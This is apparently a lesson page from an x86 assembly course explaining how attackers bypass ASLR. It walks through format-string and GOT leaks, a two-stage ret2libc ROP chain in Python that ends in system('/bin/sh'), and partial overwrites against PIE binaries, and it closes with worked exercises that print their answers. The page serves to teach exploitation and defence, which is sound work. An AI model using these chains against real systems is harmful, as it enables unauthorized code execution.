Skip to main content
Be Bitwise
x86 AssemblyROP & Advanced Techniques

Bypassing ASLR

Address Space Layout Randomisation (ASLR) shuffles the base addresses of the major memory regions — stack, heap, shared libraries, and (with PIE) the main executable — every time a process spins up. The aim is to make it impossible for an attacker to predict where code and data live, snapping the hardcoded addresses ROP chains and ret2libc attacks lean on.

It's a strong defence with one structural weakness. Learn even one runtime address and the rest fall out by arithmetic.

For the theoretical foundation, see ASLR and PIE.

How ASLR Works

Without ASLR, the memory layout is predictable:

c
Region Without ASLR With ASLR
Executable 0x00400000 0x00400000 (no PIE) or random (PIE)
Heap 0x00602000 Random base
libc 0x7ffff7a00000 Random base
Stack 0x7ffffffde000 Random base

With ASLR turned on, every region gets a random offset slapped on at load time. Re-run the same program and the addresses change. That's the point.

The catch — ASLR randomises only the base address of each region. The relative offsets inside a region stay the same. If libc loads at 0x7f1234560000 and system() sits at offset 0x52390 inside libc, then system() is at 0x7f12345b2390. Leak any libc address, compute the base, and every other function's address falls out for free.

The Information Leak Primitive

Defeating ASLR comes down to an information leak — any way to drag a runtime address out of the process's memory. Usual suspects:

Format string vulnerabilities:

c
// Vulnerable format string: attacker controls format specifier
printf(user_input);
// Attacker sends: "%p.%p.%p.%p.%p.%p"
// Output: 0x7f1234560000.0x7fffffffe120.0x401233....
// These are real pointers from the stack, leaking runtime addresses

Reading from the GOT (Global Offset Table):

The GOT holds resolved addresses for library functions. Read one entry and you've got yourself a live libc address.

nasm
; The GOT entry for puts at 0x404018 contains the runtime address of puts
; If we can leak the 8 bytes at 0x404018, we get puts' actual address
; From that, we calculate: libc_base = leaked_puts - puts_offset_in_libc

Partial overwrites:

Even with ASLR on, the low 12 bits of an address (the page offset) stay put. Overwrite only the low bytes of a return address and you can redirect execution to a different function inside the same page.

Two-Stage Exploitation

The standard approach against an ASLR'd program runs in two passes:

Stage 1 — Leak: abuse the bug to leak a runtime address (usually a GOT entry holding a libc function pointer).

Stage 2 — Exploit: subtract the known offset to get libc's base, derive the addresses of system(), "/bin/sh", and your gadgets, then fire the real exploit.

Attacker Input
Buffer
Overflow
Return Addr
RET Executes
Attacker Code

Hover over each step to see details

Leaking a GOT Entry with puts()

A classic move is a ROP chain that calls puts() on a GOT entry. puts() prints up to the first null byte, GOT entries hold 8-byte pointers, so puts(got_entry) happily spits out most of the address.

Assume we know (from the non-PIE binary):

c
puts@plt = 0x401030 (PLT stub for puts)
puts@got = 0x404018 (GOT entry for puts, contains runtime address)
pop rdi;ret = 0x401233 (gadget)
main = 0x401150 (to return to after the leak)

Stage 1 chain (leak puts' runtime address):

python
import struct
from pwn import *
def p64(addr):
return struct.pack('<Q', addr)
offset = 72
# Stage 1: Leak puts@GOT
stage1 = b'A' * offset
stage1 += p64(0x401233) # pop rdi; ret
stage1 += p64(0x404018) # address of puts@GOT (argument to puts)
stage1 += p64(0x401030) # call puts@PLT (prints the GOT entry contents)
stage1 += p64(0x401150) # return to main (so we can overflow again!)

When the chain runs:

  1. pop rdi; ret parks the address of puts@GOT into rdi
  2. puts@PLT fires, which prints the 8 bytes at puts@GOT — the live address of puts inside libc
  3. Execution drops back into main, giving us another swing at the overflow

Parsing the leak:

python
# Receive the leaked address (6 bytes typically, due to null-byte truncation).
# Use [:-1] to drop only the trailing newline -- .strip() would also eat any
# leaked byte that happens to equal a whitespace value (0x09-0x0d, 0x20) and
# silently corrupt the address.
leaked_bytes = p.recvline()[:-1]
leaked_puts = u64(leaked_bytes.ljust(8, b'\x00'))
print(f"Leaked puts address: {hex(leaked_puts)}")
# Calculate libc base
# puts_offset is the offset of puts within libc (from readelf or objdump)
puts_offset = 0x80970 # example offset, varies by libc version
libc_base = leaked_puts - puts_offset
print(f"libc base: {hex(libc_base)}")

Stage 2 chain (exploit with known libc base):

python
# Calculate addresses -- EVERY offset here must come from the exact
# same libc build as the target (check the Build-ID), or the base is
# right but system/binsh/gadget land in the wrong place. The values
# below are illustrative, not from one verified build.
system_addr = libc_base + 0x52390 # offset of system in this libc
binsh_addr = libc_base + 0x1b45bd # offset of "/bin/sh" string in libc
pop_rdi_ret = libc_base + 0x23b6a # pop rdi; ret gadget in libc
# Stage 2: Call system("/bin/sh")
stage2 = b'A' * offset
stage2 += p64(pop_rdi_ret) # pop rdi; ret (in libc)
stage2 += p64(binsh_addr) # address of "/bin/sh" (in libc)
stage2 += p64(system_addr) # system()

Defeating PIE (Position-Independent Executable)

When the binary's compiled with PIE (-fPIE -pie), the main executable's base shifts on every run too. PLT, GOT, and gadget addresses inside the main binary are now also unknowns.

Partial overwrite technique:

With PIE, the low 12 bits of executable addresses stay fixed — they're the page offset. If you can overwrite just the low one or two bytes of a return address, you can redirect to another function inside the same page:

python
# Original return address: 0x5555555551a0 (somewhere in the PIE binary)
# Target function: 0x555555555196 (secret_function, same page)
# Only the low byte differs: 0xa0 vs 0x96
# Overwrite only the low byte:
payload = b'A' * offset + b'\x96'
# This changes 0x5555555551a0 to 0x555555555196
# Works because ASLR doesn't randomize the low 12 bits (the page offset)

Mind the delivery vector. read/recv copy raw bytes, so a one-byte overwrite touches exactly one byte. A strcpy-style copy appends its own NUL, so writing one byte also zeroes the byte above it — you have to account for that second, clobbered byte.

The arithmetic is less generous than it looks. A one-byte overwrite rewrites bits 0-7, which all sit inside the fixed low 12 bits, so it's deterministic: any target within 256 bytes is reachable with certainty. A two-byte overwrite rewrites bits 0-15, but bits 12-15 fall above the page offset and ASLR does randomise them. So reaching a target up to 64 KB away isn't free — those 4 unknown bits make it a 1-in-16 brute force, not a sure thing.

Leaking the PIE base:

A more dependable route leaks a code pointer from inside the executable:

python
# If we can leak any address within the main binary (e.g., a return address
# saved on the stack), we can calculate the PIE base:
leaked_code_addr = 0x555555555196 # leaked from stack via format string
known_offset = 0x1196 # offset of that function in the binary
pie_base = leaked_code_addr - known_offset
ASLR Is Probabilistic, Not Absolute

ASLR offers probabilistic security, not a guarantee. The entropy depends on the kernel, architecture and region: on default x86-64 Linux, libc and a PIE base get roughly 28–30 bits and the stack a little more, enough to make blind brute force impractical against network services that fork-and-exec (each attempt rerolls the layout). Fork-without-exec servers, though, reuse the parent's address space; local attacks can hit much higher brute-force success rates. The real killer is information leaks — any leak collapses ASLR to zero effective bits of entropy. Hence defence in depth: ASLR alone falls apart the moment the attacker has a read primitive.

Format String Leaks in Detail

Format string bugs are the most common feeder for info leaks. When printf runs with attacker-controlled format specifiers, it reads values straight off the stack — saved registers, return addresses, scattered pointers and all:

c
// Vulnerable code
char input[256];
read(0, input, 256);
printf(input); // attacker controls the format string!
python
# Attacker sends format specifiers to leak stack values
payload = b"%p." * 20 # print 20 pointer-sized values from the stack
# Output might include:
# 0x7f1234560000.0x401233.0x7fffffffe120.0x7f12345b2390...
# Each value is a real pointer from the stack

Eyeball the leaked values and an attacker can pick out:

  • libc addresses (start with 0x7f on x86-64)
  • Stack addresses (also 0x7f..., but in their own range)
  • Code addresses (0x4... without PIE, 0x55... with PIE)

Direct parameter access lets you cherry-pick a specific stack slot:

python
# %7$p reads the 7th argument position
payload = b"%7$p" # leak a specific value from the stack

Calculating Offsets

Address arithmetic follows a tidy formula:

c
target_addr = leaked_addr - known_offset_of_leaked + known_offset_of_target

Or equivalently:

c
base_addr = leaked_addr - offset_of_leaked_symbol
target_addr = base_addr + offset_of_target_symbol

Pull the offsets straight from the un-randomised binary on disk:

bash
# Find offsets in libc
readelf -s /lib/x86_64-linux-gnu/libc.so.6 | grep " puts"
# Output: 0000000000080970 ... puts
readelf -s /lib/x86_64-linux-gnu/libc.so.6 | grep " system"
# Output: 0000000000052390 ... system
strings -a -t x /lib/x86_64-linux-gnu/libc.so.6 | grep "/bin/sh"
# Output: 1b45bd /bin/sh

Work one through by hand. Stage 1 of an exploit against this libc leaks puts at 0x7f3a1c680970 (an illustrative run). Using the offsets above, find the libc base, then the addresses of system and the "/bin/sh" string for stage 2.

Answer
  • Base: 0x7f3a1c680970 - 0x80970 = 0x7f3a1c600000
  • system: 0x7f3a1c600000 + 0x52390 = 0x7f3a1c652390
  • "/bin/sh": 0x7f3a1c600000 + 0x1b45bd = 0x7f3a1c7b45bd

Check the base before trusting it. libc is mapped on a page boundary, so a correct base always ends in 000. If yours doesn't, you've subtracted the wrong offset, usually one from a different libc build than the target's.

Defense in Depth: Why ASLR Alone Fails

ASLR is one tier of a defence-in-depth stack:

DefenseWhat It PreventsWeakness
ASLRPredicting addressesInformation leaks
DEP/NXExecuting injected codeCode reuse (ROP)
Stack canariesStack buffer overwritesInformation leaks, non-stack overflows
PIEPredicting main binary addressesInformation leaks, partial overwrites
RELROGOT overwrite attacksDoes not affect stack attacks
CFIIndirect call/jump hijackingImplementation gaps

Each defence pushes back on a different stretch of the attack chain. An attacker who beats all of them at once gets full exploitation, but the more layers in play, the harder — and the more flaky — the attack ends up being.

What is Next

Core exploitation territory — buffer overflows (Module 9), shellcode (Module 10), and the advanced techniques in this module including ROP and ASLR bypass — is now under your belt. Module 12 swings around to the defender's seat: reading compiler output, spotting vulnerability shapes in disassembly, and applying binary-hardening techniques that make every one of these attacks much harder to land.

Challenges

Given a set of instruction sequences, identify which are valid ROP gadgets. A valid gadget ends with 'ret' and performs a useful operation. Print the count of valid gadgets from: (1) pop rdi; ret (2) mov rax, rbx; jmp rcx (3) xor eax, eax; ret (4) pop rsi; pop rdx; ret. Answer: 3

Assembly (NASM 2.14.02)